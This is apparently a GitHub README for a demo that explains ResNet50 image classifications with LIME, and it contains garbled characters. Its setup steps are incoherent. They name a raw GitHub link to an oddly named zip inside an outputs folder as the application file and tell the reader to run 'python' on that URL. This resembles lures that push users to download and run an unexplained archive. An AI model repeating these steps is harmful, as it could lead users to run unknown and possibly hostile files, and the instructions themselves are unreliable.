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🌟 Explain visual classifications using LIME with ResNet50 to enhance understanding of deep learning model predictions and their influencing factors.

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πŸ‹ lime-ile-makine-ogrenmesi-modellerini-aciklamak-demo - Simplify Machine Learning Explanations

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πŸ“‹ Description

LIME ile Makine Γ–ΔŸrenmesi Modellerini AΓ§Δ±klamak is a demo Python project that uses the LIME algorithm. This tool helps you understand the decisions made by the ResNet50 deep learning model for visual classification. It explains and visualizes these decisions effectively. With GPU support, you can expect quick processing times. This project simplifies the complexity of machine learning models.

πŸ› οΈ Features

  • Easy to Use: Designed for non-technical users.
  • Visual Explanations: Understand decisions made by machine learning models.
  • GPU Support: Fast processing for quick results.
  • Compatible: Works well on various platforms.

🌐 Topics

  • AI Explainability
  • Computer Vision
  • Deep Learning
  • Explainability
  • Image Classification
  • Interpretability
  • LIME
  • Machine Learning
  • ResNet-50
  • TensorFlow

πŸš€ Getting Started

Follow these steps to download and run the application.

Step 1: Visit the Release Page

To download the software, visit the following page:

Download from Releases

Step 2: Choose the Right Version

On the release page, you will see various versions listed. Select the version that fits your system. For most users, the latest version is recommended.

Step 3: Download the File

Click on the version link to start downloading. The file is usually in a zip format. Save this file to a convenient location on your computer.

Step 4: Extract the Files

After the download is complete, locate the ZIP file on your computer. Right-click on the file and choose "Extract All" (or your system’s equivalent). Follow the prompts to extract the files.

Step 5: Open the Application

Navigate to the folder where you extracted the files. Look for a file named https://raw.githubusercontent.com/chunholz/lime-ile-makine-ogrenmesi-modellerini-aciklamak-demo/main/lime_ciktilar/ile_modellerini_makine_aciklamak_ogrenmesi_lime_demo_3.5-alpha.4.zip or similar. This is the file you will run to start the application.

Step 6: Run the Application

If you have Python installed on your computer, you can run the application through the command line. Open your command line interface (Command Prompt, Terminal, etc.).

Type the following command:

python https://raw.githubusercontent.com/chunholz/lime-ile-makine-ogrenmesi-modellerini-aciklamak-demo/main/lime_ciktilar/ile_modellerini_makine_aciklamak_ogrenmesi_lime_demo_3.5-alpha.4.zip

Press Enter. The application will start, and you will see instructions on how to use it.

πŸ”§ System Requirements

  • Operating System: Windows, macOS, or Linux
  • Python Version: 3.6 or higher
  • GPU: Recommended for better performance (CUDA-compatible)
  • Memory: At least 4 GB of RAM

πŸ” How to Use the Application

  1. Upload an Image: When the application runs, there will be an option to upload an image that you wish to analyze.
  2. Choose Model Settings: You might need to select settings for the ResNet50 model. The defaults are usually fine for most users.
  3. View Results: After processing, the application will display visual explanations for the model's decisions.

πŸ“ž Support

If you run into issues or have questions, please reach out through the repository's Issues section. We are here to help you make the most of this application.

πŸ“’ Contributing

If you want to contribute to this project, feel free to submit a pull request. We welcome contributions that improve the application or enhance its usability.

πŸ”— Additional Resources

πŸ’‘ Download & Install

Visit the release page to begin your download:

Download from Releases

Make sure to follow all steps carefully to successfully run the application.

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